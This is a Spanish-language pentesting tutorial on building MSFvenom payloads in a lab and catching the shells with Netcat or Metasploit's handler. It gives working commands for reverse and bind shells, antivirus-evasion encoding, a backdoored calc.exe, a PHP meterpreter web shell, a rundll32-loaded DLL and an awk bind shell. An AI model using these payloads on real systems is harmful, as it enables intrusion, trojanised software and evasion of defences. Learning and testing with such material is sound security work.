4.3.3. MSFvenom: Netcat y Handler Metasploit: Ejemplos prácticos
Netcat y Handler Module Metasploit
A continuación se va a mostrar unos cuantos ejemplos de payloads ejecutados en hosts locales (LAN) en un entorno de laboratorio generados con MSFvenom. Para la distribución del malware entre equipos en una misma red local se recomienda emplear el protocolo SMB. En el anexo de este punto se explica cómo configurar un servicio para este protocolo en Kali Linux, entre otros aspectos a tener en cuenta (deshabilitar antivirus, etc.).
Los ejemplos son relativamente amplios para ver las diferentes combinaciones incluyendo algunas opciones que se han categorizado como avanzadas (nops, encoders, template) y para diferentes formatos. El objetivo de estas prácticas es obtener una shell (consola estándar o meterpreter). En siguiente puntos se verá como es la interacción entre cliente y servidor, tipos de shell y ejecución del código, que puede ser en diferentes fases.
Para establecer el canal de comunicación para la shell, es necesario disponer de un servicio de escucha en el host Kali Linux creando un socket o bien establecer un canal de comunicación. En las prácticas se van a probar dos herramientas para esta función:
Handler Metasploit
El módulo exploit/multi/handler de Metasploit realiza la función de stub (función RPC) para los exploits y payloads que han sido ejecutados de forma remota, permitiendo crear un canal de comunicación (shell), ejecutar código adicional del payload y realizar acciones de postexplotación en función del tipo de payload. Desde Metasploit, se selecciona el módulo:
msf > use exploit/multi/handler
Al igual que el resto de módulos, este debe setearse con las diferentes opciones. Esto incluye de las opciones de LHOST (que será la IP de Kali Linux) y LPORT (puerto local) dependiendo del tipo de conexión. LPORT será el puerto que se le ha indicado al generar el payload. Por otro lado, es normal setear el mismo payload que se ha usado al generar el payload con MSFvenom para el intercambio de funciones adecuado.
Para iniciar el handler se puede usar el comando run o bien exploit –j para dejarlo en escucha. Con el comando jobs se pueden gestionar estas sesiones.
Nota: Más abajo, en esta misma sección, se explica otra forma más rápida de iniciar un handler.
Netcat
Esta herramienta de fácil uso es conocida como la navaja suiza de TCP/IP. Sin entrar en detalles, permite realizar varias funciones como es crear un socket para conectarse a un servidor TCP/IP, abrir un puerto (socket) para comunicaciones entrantes y obtener una shell, etc. Resulta muy útil cuando el target es un Linux, permitiendo obtener una shell en bash sin tener que usar Metasploit.
Ahora sí algunos ejemplos incluyendo pantallas partidas y con varias fases para intentar hacerlo de forma exhaustiva con pocos casos. No se incluye información de las diferentes máquinas (IPs) excepto para el atacante que como se ve en la mayoría de ejemplos es 192.168.1.47 (LAN). Se han utilizado puertos aleatorios 3333, 1234…
4.3.3.1. Formatos de transformación
En ocasiones hay que obtener el código del payload en un determinado lenguaje de programación. Esto puede servir para incluir este código en los ficheros fuente de algún programa antes de compilar en un formato ejecutable o bien porque son lenguajes de programación con funciones de código que pueden ser interpretados al momento (Ruby, Perl, C, JavaScript…).
Para estos casos, si no existe el formato bien indicado (–list formats) se puede poner formato raw que viene a ser un comodín o genérico. Con la opción de output (o símbolo >) se puede guardar el resultado en un fichero de texto plano. En los dos siguientes ejemplos, se ha generado el código de la shell para los lenguajes de programación awk y C. Para el primero (awk), al no haber un formato específico se usa raw pues el formato ya lo proporciona el propio payload (bind_awk):
msfvenom -p cmd/unix/bind_awk -f raw > bind_awk
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.47 LPORT=1234 -f c
- En el primer caso bind_awk, el código se podría ejecutar desde la consola de línea de comandos de Linux.
awk 'BEGIN{s="/inet/tcp/4444/0/0";do{if((s|&getline c)<=0)break;if(c){while((c|&getline)>0)print $0|&s;close(c)}} while(c!="exit")close(s)}'
- Para el lenguaje de programación C, MSFvenom ha generado lo que viene a ser la shellcode, es decir las operaciones en código hexadecimal incluidas en una variable char buf[], lo que viene a ser en el contexto de programación una array de tipo string (cadena de texto). Se puede modificar el nombre del array buf con el parámetro –v. Del mismo modo, se puede modificar la cadena hexadecimal al principio incluyendo NOPS con el parámetro –n <valor>. Los NOPS son valores que se añaden al principio sin ningún efecto para evitar ser detectado. Esta cadena se suele añadir a los ficheros del software antes de compilar.
unsigned char buf[] = "\x31…(…)";
4.3.3.2. Formato ejecutable – Bind payload
Los formatos ejecutables (elf, exe, macho…) al ser fruto de la compilación de un código previo es importante tener en cuenta la arquitectura de procesador del target. Se puede especificar a través del parámetro –a aunque casi siempre se suele obviar y lo escoge el propio MSFvenom en función de las características del payload. Cuando no es claro a partir del payload, por ejemplo ante si tiene que escoger x86 (32bits) o x64, siempre optará por ser conservador, pues un binario compilado en formato x86 siempre podrá ser ejecutado en un procesador de 64 bits pero al revés no funcionaría.
En el siguiente ejemplo para generar un payload de formato ejecutable para Linux ELF, se indica claramente la arquitectura en la información del módulo. Además se ha escogido un payload cuya función es BIND. En estos casos es el target quien ejecutará la apertura en el puerto indicado en las opciones y el atacante realizará la conexión. En este tipo de payloads no es necesario incluir la opción de HOST (remoto o local). También se ha añadido la opción –smallest, que es útil en tanto que siempre es interesante para evadir sistemas de defensa que payload sea del menor tamaño posible:
msfvenom -p linux/x86/shell_bind_tcp LPORT=5555 -f elf --smallest -o small86.elf
Una vez ejecutado el payload en el target, se puede comprobar con el comando netstat -antp que el host tiene un socket creado en escucha (LISTEN) en el puerto indicado en el payload
Para realizar la conexión se puede emplear Netcat como se indica abajo o bien seteando adecuadamente un handler en Metasploit como se ha explicado al principio de este punto (mismo payload, RHOST la IP del target y LPORT el puerto destino de la conexión):
nc [IP_TARGET] [LOCAL_PORT]
4.3.3.3. Reverse payload – Opciones de evasión – Handler automatizado – Template
Como se ha visto al principio existen diferentes opciones para evitar que los sistemas de defensa de un host o una red informática puedan detectar la actividad del payload. Estas son incluir un encoder (-e) e iterarlo n veces (-i <n>). Además también se puede evitar el uso de determinados valores hexadecimales (caracteres) con el parámetro –b a la hora de formar la shellcode. También resulta útil cambiar el nombre del array con el parámetro –v y añadir NOPS, como se ha visto en el ejemplo anterior. No siempre se pueden combinar todas a la vez, aun así el modelo para añadir todas las opciones sería:
msfvenom -p [PAYLOAD] [OPCIONES_PAYLOAD] -e [ENCODER] -b [BAD_CHARS] -i [N] –f [FORMAT] –v [NAME] -n [NOPS] -o [OUTPUT]
Este sería un ejemplo para un payload reverse, que a diferencia de tipo bind será el target el que intentará comunicarse con el atacante para establecer la comunicación y la posterior ejecución de funciones del payload:
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LPORT=3333 LHOST=192.168.1.47 -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe -v trial_prueba -n 30 -o encoded_x86.exe
En esta ocasión si se usa un handler de Metasploit, se tendrá que parametrizar de forma correcta. Existe una forma alternativa de crear una sesión de handler (job) que consiste en emplear la opción handler de msfconsole con los parámetros siguientes:
msf > handler -p [PAYLOAD] -H [HOST] -P [PORT]
También se puede usar Netcat para crear un canal de comunicación en escucha. Supongamos que se crea una shell CMD reverse ejecutable (formato EXE) para Windows. En este caso el canal se crea con los siguientes parámetros (solo será necesario indicar LPORT al estar esperando una comunicación entrante):
nc –lvp [LPORT]
Ejemplo:
msfvenom -p windows/shell_reverse_tcp LPORT=1234 LHOST=192.168.1.47 -f exe -o shell_reverse.exe
nc –lvp 1234
Para terminar esta agrupación de ejemplos, otra opción bastante recurrente es la de insertar el payload en un binario (exe) de Windows para que este ejecute su función junto al ejecutable original. Para ello se utiliza la opción -x y seguido el ejecutable original. Lo normal es sacar otro ejecutable (output) y no será necesario indicar el formato. En el ejemplo de abajo, se ha aplicado este método al ejecutable de la calculadora de Windows, siendo el resultado la bad_calc.exe:
msfvenom -p [PAYLOAD + OPTIONS] -x [EXE_ORIGINAL] [OPCIONES_AVANZADAS] -o [BAD_EXE]
Ejemplo:
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LPORT=1234 LHOST=192.168.1.47 -x calc.exe -e x86/xor_dynamic -o bad_calc.exe
4.3.3.4. Formatos payload web
Existen diferentes formatos de ficheros para aplicación web. Estos formatos son por ejemplo PHP, ASP, JSP, WAR y están escritos en sus propios lenguajes de programación web (PHP, Java, Visual Basic .NET, C#, Perl…). Los diferentes frameworks que dan soporte a los servidores web como pueden ser Apache Tomcat o Windows Internet Information Service definen a partir de su configuración que formatos de fichero de aplicación web pueden procesar.
En todo caso, las instrucciones de los ficheros web que después pueden verse con el navegador (cliente) se ejecutan en el lado del servidor y por eso se les llama lenguajes de programación web del lado del servidor. MSFvenom permite crear payloads en varios formatos para ficheros web con el contenido de las funciones para ejecutar el código (aspx, jsp, axi2). El ataque web del lado del servidor de tipo Remote File Inclusion (RFI) consiste precisamente en ubicar un payload en el servidor web en el formato adecuado y que este sea ejecutado mediante los procesos que lleva acabo el servidor (por ejemplo simplemente por la consulta del fichero de un navegador).
En el siguiente ejemplo se realiza una muestra representativa de uno de estos ataques. Se ha escogido como lenguaje de programación PHP, que para un servidor que lo admite (por ejemplo un Apache) tendrá los ficheros que conforman la web con extensión .php. Como no existe un formato específico para PHP en MSFvenom pero sí diferentes módulos de payload, el ejemplo es el siguiente (en la imagen se muestra la lectura del fichero generado con el comando cat):
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.47 LPORT=3333 -f raw -o encode_shell.php
Ahora se supone un contexto de un servidor web remoto al cual se consigue insertar en el directorio web adecuado el fichero shell.php. En este ejemplo es en la infraestructura de servidor web XAMPP debidamente configurado en el host con IP 192.168.1.41. Desde un navegador web que podría ser el del atacante se introduce la URL para acceder al contenido del fichero, ejecutando el payload vía PHP: http://192.168.1.41/dashboard/shell.php
En el lado del atacante, antes de hacer la petición con el navegador, se ha creado un handler con las opciones adecuadas. Como se puede observar en la siguiente imagen, se obtiene la shell reverse de meterpreter de forma instantánea y permanente.
Los módulos payload de PHP también tienen encoders particulares. Por ejemplo en el caso que se muestra se ha usado la codificación en base64.
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.47 LPORT=3333 -f raw -e php/base64
El código generado se puede ejecutar de forma interactiva con una consola PHP (codificado o sin codificar) y obtener una shell. Ejecutar esta técnica en un host remoto (target) no siempre es viable, puede dependerá de factores como que el servido tenga instalado el lenguaje PHP y disponer de un usuario con permisos suficientes. Para abrir una consola de PHP:
php –a
Interactive shell
php > [CODIGO_PHP]
4.3.3.5. DLL Injection
Ya se ha mencionado en la introducción que los ficheros con extensión .DLL (Dynamic Link Library) de Windows contienen librerías de funciones para el software ejecutado. Cuando son requeridos, el Sistema Operativo los carga en el proceso. Pues bien, MSFvenom también permite crear payloads en formato DLL. En el ejemplo de abajo se va a utilizar como canal de comunicación un socket HTTPS:
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.47 LPORT=2222 -f dll -o inject.dll
Para ejecutar este tipo de archivos directamente desde Windows es necesario emplear el binario rundll32.exe que se halla en directorio de Windows C:\WINDOWS\system32. Este binario carga y ejecuta ficheros DLL de 32 bits. Suponiendo que se ha descargado este fichero en el directorio C:\dll_inject de Windows, la ejecución del DLL a través de la consola de línea de comandos de Windows (CMD) sería:
C:\WINDOWS\system32>rundll32.exe C:\dll_inject\inject.dll,main
Finalmente se obtiene la shell:
En esta práctica se han obviado muchos requisitos para llevar a cabo de forma efectiva el ataque. Por ejemplo cómo hacer que el target descargue el fichero DLL y lo ejecute con el binario rundll32, además como se ha visto se ha ejecutado directamente con permisos de administrador en la máquina Windows. Aunque pueda parecer complicado, existen técnicas que permiten realizar estos pasos mediante ingeniería social y otras técnicas que se verán en siguientes puntos.
Otra utilidad que tienen los payloads en formato DLL es efectuar la técnica de DLL Injection. Resumiendo mucho en un Sistema Operativo se ejecutan diferentes instancias de software en primer y segundo plano a través de procesos. Estos procesos tienen una numeración PID y a su vez están ejecutados por usuarios autorizados con diferentes rangos de privilegios y permisos y que van desde el usuario root (NT AUTHORITY\SYSTEM en Windows) hasta otros tipos para tareas concretas. Aquí una muestra de cómo listar estas tareas en Windows con la CMD:
C:\WINDOWS\system32>tasklist /v
Otro aspecto a destacar de los ficheros DLL es que se podrían cargar sobre alguno de estos procesos. Si este proceso está llevado a cabo por un usuario root, se podría obtener una shell con altos privilegios. A esta técnica se le llama DLL Injection. Como se define bien en https://pentestlab.blog/2017/04/04/dll-injection/:
La inyección de DLL es una técnica que permite a un atacante ejecutar código arbitrario en el contexto del espacio de direcciones de otro proceso. Si este proceso se ejecuta con privilegios excesivos, un atacante podría abusar de él para ejecutar código malicioso en forma de archivo DLL para elevar los privilegios.
En esta misma página hay un avance de técnicas que se pueden emplear para llevar a cabo esta técnica, aunque para comprenderlo bien es necesario antes conocer bien otros procesos.